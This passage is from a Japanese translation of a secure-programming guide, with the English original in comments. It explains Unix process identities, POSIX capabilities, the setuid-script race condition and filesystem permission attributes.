are owned by group 0.
Processes are the only ``subjects'' in terms of security (that is, only
processes are active objects).
Processes can access various data objects, in particular filesystem
objects (FSOs), System V Interprocess Communication (IPC) objects, and
network ports.
Processes can also set signals.
Other security-relevant topics include quotas and limits, libraries,
auditing, and PAM.
The next few subsections detail this.
-->
ユーザがログインすると、そのユーザ名はユーザが属している uid(ユーザ ID)
や gid(グループ ID)を表す整数値に割り当てられます。
uid が 0 のユーザは特別な権限(役割)を持っていて、「root」と言われてきました。
Unix ライクなシステム(Unix も含む)のほとんどでは、root はセキュリティチェック
のほとんどを受けることなく、システムを管理を行う場合に使用されてきました。
Unix システムの中には、gid が 0 のユーザも特別扱いになっていて、グループ
レベルでリソースに対して無制限のアクセス権を持っているものもあります
[Gay 2000, 228]。
この事は他のシステム(Linux のような)では当てはまりませんが、そのような
システムであってもグループ 0 は、基本的にすべての権利を持っています。
というのも、システム関連の特別なファイルは、グループ 0 が所有しているケース
が多いからです。
セキュリティの点から見て唯一「対象」となるもの、それがプロセスです
(いろいろなことを実行している正体がプロセスなのです)。
プロセスはさまざまなデータにアクセスできます。ファイルシステム(FSO)であったり、
System V のプロセス間通信(IPC)であったり、ネットワーク・ポートであったり
します。
プロセスはシグナルを設定できます。
その他セキュリティ関連のトピックとしては、quota や limit、ライブラリ、監査、
PAM があります。
この後、サブセクションで詳しく見ていきます。
</para>

<sect1 id="processes">
<!-- <title>Processes</title> -->
<title>プロセス</title>

<para>
<!--
In Unix-like systems,
user-level activities are implemented by running processes.
Most Unix systems support a ``thread'' as a separate concept;
threads share memory inside a process, and the system scheduler actually
schedules threads.
Linux does this differently (and in my opinion uses a better approach):
there is no essential difference between a thread and a process.
Instead, in Linux, when a process creates another process it can choose
what resources are shared (e.g., memory can be shared).
The Linux kernel then performs optimizations to get thread-level speeds;
see clone(2) for more information.
It's worth noting that the Linux kernel developers tend to use the
word ``task'', not ``thread'' or ``process'', but the external
documentation tends to use the word process
(so I'll use the term ``process'' here).
When programming a multi-threaded application,
it's usually better to use one of the standard
thread libraries that hide these differences.
Not only does this make threading more portable, but some libraries
provide an additional level of indirection, by implementing more than
one application-level thread as a single operating system thread;
this can provide some improved performance on some systems for
some applications.
-->
Unix ライクなシステムでは、ユーザレベルの動作はプロセスを動かすことで
実現しています。
Unix システムの大部分は「スレッド」をプロセスとは独立した概念として
サポートしています。
スレッドはプロセス内でメモリを共有していて、システムのスケジューラは
スレッド自身をスケジューリングしています。
Linux はこれとは異なる方法で実行しています(私は優れたやり方だと思います)。
スレッドとプロセスは基本的に違いはありません。
そのかわり Linux においては、プロセスがもう 1 つのプロセスを起こした時に、
どのリソースを共有するのかを選択できます(たとえばメモリを共有するとか)。
そして Linux カーネルは、スレッドレベルで速度が最適になるように動作します。
詳しい情報は clone(2) を見てください。
Linux のカーネル開発者は「スレッド」や「プロセス」というかわりに、「タスク」
という言葉をよく使う点に注意してください。しかし、対外的なドキュメントには、
プロセスという言葉を使います(なので、ここではプロセスという言葉を使います)。
マルチ・スレッドのアプリケーションをプログラムする場合には、上記のような
違いを隠蔽するため、通常は標準のスレッドのどれかを使った方が適切です。
こうすると移植性が高くなるだけでなく、ライブラリが間接的なレベルの機能追加
を提供できます。これは、複数のアプリケーションレベルのスレッドを、あたかも
オペレーティングシステムの単独のスレッドとして実行することで実現しています。
こうすることで、あるシステムの何らかのアプリケーションは、性能がいくらか向上
できます。
</para>

<sect2 id="process-attributes">
<!-- <title>Process Attributes</title> -->
<title>プロセスの属性</title>

<para>
<!--
Here are typical attributes associated with each process in a
Unix-like system:
-->
ここでは、Unix ライクなシステムで動くプロセスそれぞれが持っている代表的
な属性を挙げておきます。

<itemizedlist>
<listitem>

<para>
<!--
RUID, RGID - real UID and GID
of the user on whose behalf the process is running
-->
ruid、rgid ――実 uid と 実 gid のことで、この権限でプロセスが動いています。
</para>
</listitem>
<listitem>

<para>
<!--
EUID, EGID - effective UID and GID
used for privilege checks (except for the filesystem)
-->
euid、egid ――実効 uid と 実効 gid は権限のチェックに利用します(ファイル
システムを除く)。
</para>
</listitem>
<listitem>

<para>
<!--
SUID, SGID - Saved UID and GID;
used to support switching permissions ``on and off'' as discussed below.
Not all Unix-like systems support this, but the vast majority do
(including Linux and Solaris);
if you want to check if a given system implements this option in the
POSIX standard, you can use sysconf(2) to determine if
_POSIX_SAVED_IDS is in effect.
-->
suid、sgid ――保存 uid と 保存 gid は下記で論じますが、権限の「有効化・
無効化」をサポートするのに利用します。
Unix ライクなシステムのすべてがこの機能をサポートしているわけではありません
が、大半のシステム(Linux や Solaris を含む)がサポートしています。
システムがこの機能を POSIX 標準で実装しているかを調べたいなら、sysconf(2) 
を使って _POSIX_SAVED_IDS が有効か確かめてください。
</para>
</listitem>
<listitem>

<para>
<!--
supplemental groups - a list of groups (GIDs) in which this
user has membership.
In the original version 7 Unix, this didn't exist -
processes were only a member of one group at a time, and a special
command had to be executed to change that group.
BSD added support for a list of groups in each process,
which is more flexible, and
this addition is now widely implemented (including by Linux and Solaris).
-->
補助グループ――グループ(gid)の一覧で、ユーザがメンバーになっている
グループの一覧です。
オリジナルの version 7 Unix では、存在していません。プロセスは同時に複数
のグループには属せず、特別なコマンドを使ってグループを変更しなければ
いけません。
BSD では、それぞれのプロセスでのグループの一覧をサポートしており、より
柔軟な構成をとっています。またこの追加機能は現在では広く実装されています
(Linux や Solaris を含む)。
</para>
</listitem>
<listitem>

<para>
<!--
umask - a set of bits determining the default access control settings
when a new filesystem object is created; see umask(2).
-->
umask ――新しいファイルシステムの実体を作成する時に、デフォルトのアクセス
制御の設定を決めるビット列です。umask(2)を見てください。
</para>
</listitem>
<listitem>

<para>
<!--
scheduling parameters - each process has a scheduling policy, and those
with the default policy SCHED&lowbar;OTHER have the additional parameters
nice, priority, and counter.  See sched&lowbar;setscheduler(2) for more information.
-->
スケジューリング・パラメタ――プロセスにはそれぞれ、デフォルトのスケジューリング
のポリシがあります。SCHED&lowbar;OTHER は、追加でパラメタを設定でき、
nice や プライオリティ、カウンターを設定できます。詳細は、
sched&lowbar;setscheduler(2) を見てください。
</para>
</listitem>
<listitem>

<para>
<!--
limits - per-process resource limits (see below).
-->
limits ――プロセス単位のリソースの制限です(下記参照)。
</para>
</listitem>
<listitem>

<para>
<!--
filesystem root - the process' idea of where the root filesystem
("/") begins; see chroot(2).
-->
ファイルシステムのルート――プロセスから見たルート・ファイルシステム("/")の位置。
chroot(2)を参照してください。
</para>
</listitem>

</itemizedlist>

</para>

<para>
<!-- Here are less-common attributes associated with processes: -->
ここでは、プロセスに関連してはいるものの、あまり一般的ではないものを説明
します。

<itemizedlist>
<listitem>

<para>
<!--
FSUID, FSGID - UID and GID used for filesystem access checks;
this is usually equal to the EUID and EGID respectively.
This is a Linux-unique attribute.
-->
fsuid、fsgid ―― uid と gid はファイルシステムへのアクセス権限をチェックするのに
使います。
通常は、それぞれ euid や egid と同じです。
この属性は Linux 独自です。
</para>
</listitem>
<listitem>

<para>
<!--
capabilities - POSIX capability information; there are actually three
sets of capabilities on a process: the effective, inheritable, and permitted
capabilities.  See below for more information on POSIX capabilities.
Linux kernel version 2.2 and greater support this; some other Unix-like
systems do too, but it's not as widespread.
-->
ケイパビリティ―― POSIX で定義しているケイパビリティ情報。プロセスについての
ケイパビリティは、3 つあります。それは、実効、継承、許可です。POSIX ケイパ
ビリティについての詳しい情報は、下記を見てください。
Linux のカーネル 2.2 バージョン以上であればこの機能をサポートしています。
他の Unix ライクなシステムでもサポートしていますが、一般的というわけでは
ありません。
</para>
</listitem>

</itemizedlist>

</para>

<para>
<!--
In Linux,
if you really need to know exactly what attributes are associated
with each process, the most definitive source is the
Linux source code, in particular
<filename>/usr/include/linux/sched.h</filename>'s definition of task&lowbar;struct.
-->
Linux において、どの属性が各々のプロセスに関連しているのかを正確に知る必要
があるなら、Linux のソースコードが最も信頼のおける情報源です。特に、
<filename>/usr/include/linux/sched.h</filename> にある task&lowbar;struct 
という定義は重要です。

</para>

<para>
<!--
The portable way to create new processes it use the fork(2) call.
BSD introduced a variant called vfork(2) as an optimization technique.
The bottom line with vfork(2) is simple: <emphasis remap="it">don't</emphasis> use it if you
can avoid it.
See <xref linkend="avoid-vfork"> for more information.
-->
新しいプロセスを起こすには、fork(2) システムコールを使うのが一般的です。
BSD は vfork(2) という最適化をはかった改良版を導入しました。
vfork(2) の基本的な考えは単純で、使う必要がなければ使わ
<emphasis remap="it">ない</emphasis>です。
詳しくは、<xref linkend="avoid-vfork"> を見てください。
</para>

<para>
<!--
Linux supports the Linux-unique clone(2) call.
This call works like fork(2), but allows specification of which resources
should be shared (e.g., memory, file descriptors, etc.).
Various BSD systems implement an rfork() system call
(originally developed in Plan9); it has different
semantics but the same general idea (it also creates a process with tighter
control over what is shared).
-->
Linux では、固有のシステムコールである clone(2)をサポートしています。
このシステムコールは fork(2) と同様に動作しますが、共有したいリソース
(たとえば、メモリやファイル・ディスクリプタ等)を指定できます。
さまざまな BSD システムでは rfork() システムコール(オリジナルは Plan9 
で開発)を実装しています。呼び出し方は異なりますが、基本的な考え方は
同じです(これも共有するものに対しての操作を強化して、プロセスを生成
します)。
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- For more on a vulnerability in old versions of rfork
 (setuid/setgid programs could be controlled), see
 http://www.openbsd.org/advisories/rfork.txt -->
<!--
Portable programs shouldn't use these calls directly, if possible;
as noted earlier,
they should instead rely on threading libraries that use such
calls to implement threads.
-->
プログラムに移植性を持たせるなら、できればこれらのシステムコールを
そのまま使うべきではありません。上記でも述べましたが、移植性を持たせる
なら、それらのシステムコールを用いたスレッドライブラリをもとにした方が良い
でしょう。
</para>

<para>
<!--
This book is not a full tutorial on writing programs, so
I will skip widely-available information handling processes.
You can see the documentation for wait(2), exit(2), and so on for more
information.
-->
このドキュメントは、プログラムを書くための完璧なチュートリアルではありません。
したがって、プロセスを扱った一般的に利用できる情報については省略しています。
さらに情報として wait(2) や exit(2) といったドキュメントも利用できます。
</para>

</sect2>

<sect2 id="posix-capabilities">
<!-- <title>POSIX Capabilities</title> -->
<title>POSIX ケイパビリティ</title>

<para>
<!--
POSIX capabilities are sets of bits that permit splitting of the privileges
typically held by root into a larger set of more specific privileges.
POSIX capabilities are defined
by a draft IEEE standard; they're not unique to Linux but they're not
universally supported by other Unix-like systems either.
Linux kernel 2.0 did not support POSIX capabilities, while version 2.2
added support for POSIX capabilities to processes.
When Linux documentation (including this one)
says ``requires root privilege'', in nearly all cases it
really means ``requires a capability'' as documented in the capability
documentation.
If you need to know the specific capability required, look it up in the
capability documentation.
-->
POSIX ケイパビリティはビットで値を構成し、普通 root が持っている権限を
分割し、より特化した権限を持つ大きな組み合わせとして再構成します。
POSIX ケイパビリティは、IEEE 標準のドラフトで定義されています。したがって 
Linux 固有の機能でもありませんし、他の Unix ライクなシステムで広く採用
されてもいません。
Linux のカーネル 2.0 では POSIX ケイパビリティをサポートしていませんが、
2.2 ではプロセスについて、POSIX ケイパビリティをサポートしています。
Linux のドキュメント(このドキュメントも含め)の中で、「root の権限が必要で
ある」と書いてあった場合、「ケイパビリティが必要である」とほぼ同じ意味に
なる、とケイパビリティについてのドキュメントに述べられています。
個々のケイパビリティについて知りたい場合は、ケイパビリティに関する
ドキュメントを読んでください。
</para>

<para>
<!--
In Linux,
the eventual intent is to permit capabilities to be attached to files
in the filesystem; as of this writing, however, this is not yet supported.
There is support for transferring capabilities, but this is disabled
by default.
Linux version 2.2.11 added a feature that makes capabilities
more directly useful, called the ``capability bounding set''.
The capability bounding set is a list of capabilities
that are allowed to be held by any process on the system (otherwise,
only the special init process can hold it).
If a capability does not appear in the bounding set, it may not be
exercised by any process, no matter how privileged. 
This feature can be used to, for example, disable kernel module loading.
A sample tool that takes advantage of this is LCAP at
<ulink
url="http://pweb.netcom.com/~spoon/lcap/">http://pweb.netcom.com/~spoon/lcap/</ulink>.
-->
Linux においては、ファイルシステム上にあるファイルに対してケイパビリティを
適用することが最終目的です。しかし、これを書いている時点では、まだ実装されて
いません。転送機能に対するケイパビリティはサポートされていますが、デフォルト
では無効になっています。Linux のカーネル 2.2.11 ではケイパビリティをより
身近に利用しやすくする機能が加わりました。その機能は「ケイパビリティ・
バウンディング・セット(capability bounding set)」です。
ケイパビリティ・バウンディング・セットは、ケイパビリティのリストの 1 つで、
システム上のどのプロセスもその管理下に入ります(さもなければ、特別な init 
プロセスだけが管理します)。
ケイパビリティがバウンディング・セットになければ、権限がどれであっても
プロセスから利用できません。
この機能を使っている例として、カーネルモジュールの読み込みを無効にする
機能が挙げられます。
試験的ではありますが、この機能を駆使したツールに LCAP <ulink 
url="http://pweb.netcom.com/~spoon/lcap/">http://pweb.netcom.com/~spoon/lcap/</ulink>
があります。
【訳註：LCAP は、カーネルがサポートしているケイパビリティを無効にすることに
よって、システムをより安全にする仕組みです】
</para>

<para>
<!--
More information about POSIX capabilities is available at
<ulink
url="ftp://linux.kernel.org/pub/linux/libs/security/linux-privs">ftp://linux.kernel.org/pub/linux/libs/security/linux-privs</ulink>.
-->
POSIX ケイパビリティについての詳しい情報は、
<ulink
url="ftp://ftp.kernel.org/pub/linux/libs/security/linux-privs">ftp://ftp.kernel.org/pub/linux/libs/security/linux-privs</ulink> で利用できます。
</para>

</sect2>

<sect2 id="process-creation">
<!-- <title>Process Creation and Manipulation</title> -->
<title>プロセスの生成とその操作</title>

<para>
<!--
Processes may be created using fork(2), the non-recommended vfork(2),
or the Linux-unique clone(2); all of these system calls duplicate the existing
process, creating two processes out of it.
A process can execute a different program by calling execve(2),
or various front-ends to it (for example, see exec(3), system(3), and popen(3)).
-->
プロセスは fork(2) やお薦めできない vfork(2)、Linux 独自の clone(2)を使って
生成します。これらのシステムコールはすべて、既存のプロセスを複製し、2 つの
プロセスを生成します。
プロセスは execve(2)、もしくはそのフロントエンド(exec(3)や system(3)、popen(3)
がその例)をコールして、別のプログラムを実行できます。
</para>

<para>
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- I've known about the scripting race condition since forever, but the
     description here is vaguely derived from perlsec(1) -->
<!--
When a program is executed, and its file has its setuid or setgid bit set,
the process' EUID or EGID (respectively) is usually set to the file's value.
This functionality was the source of an old Unix security weakness
when used to support setuid or setgid scripts, due to a race condition.
Between the time the kernel opens the file to see which interpreter to run,
and when the (now-set-id) interpreter turns around and reopens
the file to interpret it, an attacker might change the file
(directly or via symbolic links).
-->
setuid や setgid してあるプログラムを実行すると、プロセスの euid や egid
(それぞれ)には、そのファイルに設定してある値がセットされます。
この相関関係は、いにしえの Unix では競合状態を引き起こし、セキュリティ
上の弱点の源となっていました。以前は setuid や setgid してあるスクリプト
に対応していたからです。
カーネルが、どのインタプリタが動作するのかを見るためにファイルをオープン
する時と、(id がセットされ)インタプリタに制御を返ってインタプリタが
ファイルを再オープンしてスクリプトを解釈する時の間に、攻撃者がファイルを
操ってしまう可能性がありました(直接にもしくはシンボリック・リンク経由で)。
</para>

<para>
<!--
Different Unix-like systems handle the security issue for setuid scripts
in different ways.
Some systems, such as Linux, completely ignore the setuid and setgid
bits when executing scripts, which is clearly a safe approach.
Most modern releases of SysVr4 and BSD 4.4 use a different approach to
avoid the kernel race condition.
On these systems, when the kernel passes
the name of the set-id script to open to the interpreter,
rather than using a pathname (which would permit the race condition)
it instead passes the filename /dev/fd/3.  This is a special
file already opened on the script, so that there can be no
race condition for attackers to exploit.
Even on these systems I recommend against using the setuid/setgid
shell scripts language for secure programs, as discussed below.
-->
Unix ライクなシステムは、setuid したスクリプトのセキュリティ上の問題に
対して、さまざまなやり方で対処してきました。
あるシステムでは、実行スクリプトに setuid や setgid のビットが立ってい
ると、それを完全に無視しています。Linux もこれに該当し、安全さは疑いよう
がありません。
ごく最近の  System V R4 や BSD 4.4 のリリースでは、カーネルの競合状態を避ける
ために、また違ったアプローチをとっています。
これらのシステムでは、カーネルは id がセットしてあるスクリプト名を
インタプリタに渡す時に、パス名を渡さず(これが競合状態を起こすことに
なります)、/dev/fd/3 というファイル名を渡します。これはスペシャル
ファイルで、既にそのスクリプトでオープンしていますので、攻撃者が悪用する
競合状態は起こりえません。
このようなシステムにおいても、安全さが必要なプログラムに setuid や setgid 
してあるシェル・スクリプト言語を使うのには賛成できません。理由は下記で
論じます。
</para>

<para>
<!--
In some cases a process can affect the various UID and GID values; see
setuid(2), seteuid(2), setreuid(2), and the Linux-unique setfsuid(2).
In particular the saved user id (SUID) attribute
is there to permit trusted programs to temporarily switch UIDs.
Unix-like systems supporting the SUID use the following rules:
If the RUID is changed, or the EUID is set to a value not equal to the RUID,
the SUID is set to the new EUID.
Unprivileged users can set their EUID from their SUID,
the RUID to the EUID, and the EUID to the RUID.
-->
プロセスがさまざまな uid や gid の値に変化をもたらすケースも存在します。
setuid(2) や seteuid(2)、setreuid(2)、Linux 独自の setfsuid(2)を見て
ください。
特に保存ユーザ id(suid)という属性はそのケースに該当し、本当に信頼された
プログラムが、一時的に uid を変更してしまいます。
Unix ライクなシステムでは、suid を下記のルールの下でサポートしています。
ruid の変更もしくは euid が ruid と異なる値になった場合は、suid には
新しい euid の値が設定されます。
特権を持たないユーザは、自分の suid から自分の euid を、ruid から euid を、
euid から ruid を設定できます。
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- ??? In FreeBSD, On execve(), the saved UID is reset to the EUID.
Source: "Advanced Unix Programming", Warren W. Gay, page 231. -->
</para>

<para>
<!--
The Linux-unique
FSUID process attribute is intended to permit programs like the NFS server
to limit themselves to only the filesystem rights of some given UID
without giving that UID permission to send signals to the process.
Whenever the EUID is changed, the FSUID is changed to the new
EUID value; the FSUID value can be set separately using setfsuid(2), a
Linux-unique call.
Note that non-root callers can only set FSUID to the current
RUID, EUID, SEUID, or current FSUID values.
-->
Linux 独自の fsuid プロセス属性は、NFS サーバのようなプログラムで、ファイル
システムの権限に限って指定された uid に許可をあたえます。そのプロセスへ
シグナルを送る許可は与えません。
euid が変更されると fsuid は新しい euid の値に変更されます。fsuid は 
setfsuid(2)という Linux 独自のシステムコールを使って設定できます。
root 以外から呼び出された場合は、fsuid には現在の ruid や euid、seuid、
あるいは現在の fsuid しか設定できません。
</para>

</sect2>

</sect1>

<sect1 id="files">
<!-- <title>Files</title> -->
<title>ファイル</title>

<para>
<!--
On all Unix-like systems, the primary repository of information is
the file tree, rooted at ``/''.
The file tree is a hierarchical set of directories, each of which
may contain filesystem objects (FSOs).
-->
すべての Unix ライクなシステムは、「/」を情報が保存されている大元とし、そこ
から広がる形でファイル木構造をつくっています。
ファイル木構造はディレクトリを階層化していて、そのぞれぞれがファイルシステム
のファイルシステム・オブジェクト(FSO)を持っています。
</para>

<para>
<!--
In Linux,
filesystem objects (FSOs) may be ordinary files, directories,
symbolic links, named pipes (also called first-in first-outs or FIFOs),
sockets (see below),
character special (device) files, or block special (device) files
(in Linux, this list is given in the find(1) command).
Other Unix-like systems have an identical or similar list of FSO types.
-->
Linux においては、ファイルシステムのオブジェクト(FSO)には通常のファイルや
ディレクトリ、シンボリックリンク、名前つきパイプ(ファーストイン・ファースト
アウトと言ったり、FIFO と言ったりします)、ソケット(下記を参照してください)、
キャラクタスペシャル(デバイス)ファイル、ブロックスペシャル(デバイス)ファイル
等があります(Linux では find(1)コマンドにその一覧があります)。
その他の Unix ライクなシステムでもまったく同じ、もしくは似たような FSO の一覧
があります。
</para>

<para>
<!--
Filesystem objects are collected on filesystems, which can be
mounted and unmounted on directories in the file tree.
A filesystem type (e.g., ext2 and FAT) is a specific set of conventions
for arranging data on the disk to optimize speed, reliability, and so on;
many people use the term ``filesystem'' as a synonym for the filesystem type.
-->
ファイルシステム・オブジェクトは、ファイルシステム上に存在し、ファイル木構造
にあるディレクトリにマウントしたりアンマウントしたりします。
ファイルシステムのタイプ(たとえば ext2 や FAT)とは、ディスク上にデータを配置
し、速度や信頼性等を最適化する、特定の約束事です。
「ファイルシステム」という用語をファイルシステムの種類と同じ意味で使う場合
もよくあります。
</para>

<sect2 id="fso-attributes">
<!-- <title>Filesystem Object Attributes</title> -->
<title>ファイルシステム・オブジェクトの属性</title>

<para>
<!--
Filesystems may have slightly different sets of access control attributes
and access controls can be affected by options selected at mount time.
On Linux, the ext2 filesystems is currently the most popular filesystem,
but Linux supports a vast number of filesystems.
Most Unix-like systems tend to support multiple filesystems too.
Different Unix-like systems support different filesystem types.
-->
ファイルシステムのアクセス制御の属性は多少変わっていて、アクセス制御は
マウント時に選択したオプションに左右されます。
Linux では、ext2 がファイルシステムとしては現状最も一般的ですが、おびただしい
数のファイルシステムをサポートしています。
たいていの Unix ライクなシステムも、複数のファイルシステムをサポートして
います。Unix ライクなシステムは、それぞれで複数のファイルシステムのタイプを
サポートしています。
</para>

<para>
<!-- Most filesystems on Unix-like systems store at least the following: -->
Unix ライクなシステムの多くは、少なくとも下記の情報を記録しています。

<itemizedlist>
<listitem>

<para>
<!--
owning UID and GID - identifies the ``owner'' of the filesystem
object.  Only the owner or root can change the access control attributes
unless otherwise noted.
-->
所有 uid と gid ――ファイルシステム・オブジェクトの「所有者」を識別します。
特に断りがない限り、普通は所有者もしくは root だけがアクセス制限に関する属性
を変更できます。
</para>
</listitem>
<listitem>

<para>
<!--
permission bits -
read, write, execute bits for each of user (owner), group, and other.
For ordinary files, read, write, and execute have their typical meanings.
In directories, the ``read'' permission is necessary to display a directory's
contents, while the ``execute'' permission is sometimes called ``search''
permission and is necessary to actually enter the directory to use its contents.
In a directory ``write'' permission on a directory permits
adding, removing, and renaming files in that directory; if you only want
to permit adding, set the sticky bit noted below.
Note that the permission values of symbolic links are never used; it's only
the values of their containing directories and the linked-to file that matter.
-->
許可ビット――ユーザ(所有者)、グループ、その他ごとに、読み込み、書き込み、実行
の権限を表すビット。
通常のファイルの場合は、読み、書き、実行という文字通りの意味を持ちます。
ディレクトリの場合、「読み込み」パーミッションはそのディレクトリの中を
見られることを意味し、「実行」パーミッションは、別名「検索」パーミッション
とも言われ、実際にそのディレクトリに入って、そこにあるものを使用できます。
「書き込み」パーミッションは、そのディレクトリでファイルの追加、削除、変更
ができます。追加だけを許可させたい場合は、下記に説明する sticky ビットを
立てること。
シンボリックリンクのパーミッションは、意味を持たないことに注意してください。
意味を持つのは、シンボリックリンクが存在しているディレクトリとリンク先の
ファイル自身のパーミッション値だけです。
</para>
</listitem>
<listitem>

<para>
<!--
``sticky'' bit - when set on a directory, unlinks (removes) and
renames of files in that directory are limited to
the file owner, the directory owner, or root privileges.
This is a very common Unix extension
and is specified in the
Open Group's Single Unix Specification version 2.
-->
「sticky ビット」――ディレクトリに設定されると、削除(移動)や名前の変更は、
ファイルの所有者やディレクトリの所有者もしくは root しか行えなくなります。
これは Unix 一般で利用されている拡張機能で、Open Group の Single Unix 
Specification version 2 に定めてあります。
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- http://www.opengroup.org/onlinepubs/007908799/xsh/chmod.html -->
<!--
Old versions of Unix called this the ``save program text'' bit and used this
to indicate executable files that should stay in memory.
Systems that did this ensured that only root could set this bit
(otherwise users could have crashed systems by forcing ``everything''
into memory).
In Linux, this bit has no effect on ordinary files and ordinary users
can modify this bit on the files they own:
Linux's virtual memory management makes this old use irrelevant.
-->
古いバージョンの Unix では「save program text」ビットと呼ばれ、メモリ
に常駐する(スワップアウトしない)実行形式ファイルであることを示してい
ました。
これが行えるシステムでは、root だけがこのビットを設定できるようにして
いました(そうしないと、ユーザが「すべて」をメモリに入れてしまうことで、
システムをクラッシュできてしまいます)。
Linux では、このビットは通常のファイルに対して、何の影響も与えません。
また一般ユーザでも、自分が所有するファイルに対して設定が可能です。
Linux が仮想メモリ管理を実装するにいたって、この機能はすたれてしまいました。
</para>
</listitem>
<listitem>

<para>
<!--
setuid, setgid - when set on an executable file,
executing the file will set the process' effective UID or effective GID
to the value of the file's owning UID or GID (respectively).
All Unix-like systems support this.
In Linux and System V systems,
when setgid is set on a file that does not have any execute privileges,
this indicates a file that is subject to mandatory locking
during access (if the filesystem is mounted to support mandatory locking);
this overload of meaning surprises many and is not universal across Unix-like
systems.
In fact, the Open Group's Single Unix Specification version 2 for chmod(3)
permits systems to ignore
requests to turn on setgid for files that aren't executable if such
a setting has no meaning.
In Linux and Solaris,
when setgid is set on a directory, files created in the directory will
have their GID automatically reset to that of the directory's GID.
The purpose of this approach is to support ``project directories'':
users can save files into such specially-set directories and the group
owner automatically changes.
However, setting the setgid bit on directories is not specified by
standards such as the Single Unix Specification
[Open Group 1997].
-->
setuid、setgid ――実行形式ファイルに設定されると、実効 uid と gid にその
ファイルの所有者 ID と gid が設定されます(各々独立に)。
Unix ライクなシステムは、この機能をすべてサポートしています。
Linux と System V では、setgid が実行権をまったく持たないファイルに設定
されると、そのファイルがアクセスされている時に、強制ロック(mandatory locking)
がそのファイルにかかります(ただし、マウントしているファイルシステムが強制
ロックをサポートしていれば)。この仕組みは負荷が非常に重く、Unix ライクな
システムで広く採用されてはいません。
実際には、Open Group の Single Unix Specification version 2 の chmod(3)で、
設定が無意味なら、システムは実行権がないファイルに対して setuid を有効にする
要求を無視してもよいことになっています。
Linux や Solaris では、setgid がディレクトリに設定されると、そのディレクトリ
に作成されるファイルは、自動的にそのディレクトリの gid に設定し直されます。
この方法で実現できるのが、「プロジェクト用ディレクトリの作成」です。
特別に設定したディレクトリにユーザがファイルを保存すると、グループの所有者
が自動的に変更されるようになります。
しかし、ディレクトリに setgid ビットを立てることは Single Unix Specification 
のような規格として規定されているわけではありません[Open Group 1997]。
【訳註：ファイルのロック機能には、強制ロック(mandatory locking)とアドバイザリ・
ロック(advisory locking)があります。違いは、前者がカーネルがプロセスを監視し
ロック操作を行うので、プロセス間の依存関係を越えてロックが可能です。
これに対して後者は、プロセス自身がロック操作を行うので、そのプロセスの制御外
のものに対してはロックが無効となります。詳しくは、カーネル付属のドキュメント
の linux/Documentation/mandatory.txt を参照してください】

</para>
</listitem>
<listitem>

<para>
<!--
timestamps - access and modification times are stored for each
filesystem object.  However, the owner is allowed to set these values
arbitrarily (see touch(1)), so be careful about trusting this information.
All Unix-like systems support this.
-->
タイムスタンプ――ファイルシステム・オブジェクトには、アクセスしたり、修正
したりした時間を記憶してあります。しかし、所有者は自由にこれらの値を変更
できるので(touch(1)を参照)、この情報を安易に信頼しないようにしてください。
Unix ライクのシステムは、すべてこの機能をサポートしています。
</para>
</listitem>

</itemizedlist>

</para>

<para>
<!--
The following attributes are Linux-unique extensions on the ext2
filesystem, though many other filesystems have similar functionality:
-->
下記は、ext2 ファイルシステムを使っている Linux 独自の属性になります。
しかし、同じ機能を持った他のファイルシステムもたくさんあります。

<itemizedlist>
<listitem>

<para>
<!--
immutable bit - no changes to the filesystem object are allowed;
only root can set or clear this bit.
This is only supported by ext2 and is not portable across all Unix
systems (or even all Linux filesystems).
-->
変更不可(immutable)ビット――ファイルシステム・オブジェクトに対して、いかなる
変更も認めません。
root だけが設定と解除ができます。
この仕組みは、ext2 ファイルシステムだけがサポートしており、すべての Unix 
システム(場合によっては Linux ファイルシステムでも)で利用できるわけでは
ありません。
</para>
</listitem>
<listitem>

<para>
<!--
append-only bit - only appending to the filesystem object are allowed;
only root can set or clear this bit.
This is only supported by ext2 and is not portable across all Unix
systems (or even all Linux filesystems).
-->
追加限定(append-only)ビット――許可されるのは、ファイルシステム・オブジェクト
の追加だけです。
root だけが設定と解除ができます。
この仕組みは、ext2 ファイルシステムだけがサポートしており、すべての Unix  
システム(場合によっては Linux ファイルシステムでも)で利用できるわけではあり
ません。
</para>
</listitem>

</itemizedlist>

</para>

<para>
<!--
Other common extensions include some sort of bit indicating ``cannot
delete this file''.
-->
拡張機能で他に一般的なものは、「このファイルを消せない」ことを示すビットです。
</para>

<para>
<!--
Many of these values can be influenced at mount time, so that, for example,
certain bits can be treated as though they had a certain value (regardless
of their values on the media).
See mount(1) for more information about this.
These bits are useful, but be aware that some of these are intended to
simplify ease-of-use and aren't really sufficient to prevent certain actions.
For example, on Linux, mounting with ``noexec'' will disable execution of
programs on that file system; as noted in the manual, it's
intended for mounting filesystems containing binaries for incompatible systems.
On Linux,
this option won't completely prevent someone from running the files;
they can copy the files somewhere else to run them, or even use the
command ``/lib/ld-linux.so.2'' to run the file directly.
-->
上記の値は、マウント時に適用される場合が多いので、あるビット値が既に
値(媒体上の値が何であれ)を持っていたかのように扱われる場合もあります。
詳しいことは mount(1)を参照してください。
これらのビットは役に立ちますが、注意する必要があります。それは平易で使い
やすいこと、ある行為を防げるのに十分なことです。
たとえば、Linux においてはマウントする時に「noexec」すると、そのファイル
システム上ではプログラムの実行ができなくなります。man にも記述してある
通り、これはそのシステムと互換性のないシステムで動くバイナリがあるファイル
システムをマウントしようとする場合に使います。
Linux では、このオプションで誰かがファイルを実行することを完全には防ぎ
きれません。
そのファイルをどこかにコピーし、そこで実行できてしまいますし、
「/lib/ld-linux.so.2」というコマンドを使って、そのファイルを直接実行
できてしまうからです。
</para>

<para>
<!--
Some filesystems don't support some of these access control values; again,
see mount(1) for how these filesystems are handled.
In particular, many Unix-like systems support MS-DOS disks, which by
default support very few of these attributes (and there's not standard
way to define these attributes).
In that case, Unix-like systems emulate the standard attributes
(possibly implementing them through special on-disk files), and these
attributes are generally influenced by the mount(1) command.
-->
ファイルシステムには、これらのアクセス制御に対するビット値をサポートして
いないものもあります。繰り返しますが、mount(1)を見て、ファイルシステムが
どのように扱かわれるのか確認してください。
とりわけ MS-DOS ディスクは、Unix ライクなシステムでサポートされているケース
が多く、デフォルトではほんのわずかな属性しかサポートされていません(また
これらの属性を定義するのは普通とはいえません)。
その場合、Unix ライクなシステムは標準的な属性をエミュレートします(おそらく
特別なファイルをディスク上に置いて、実装しています)。またそれらの属性は、
普通 mount(1) コマンドで調整できます。
</para>

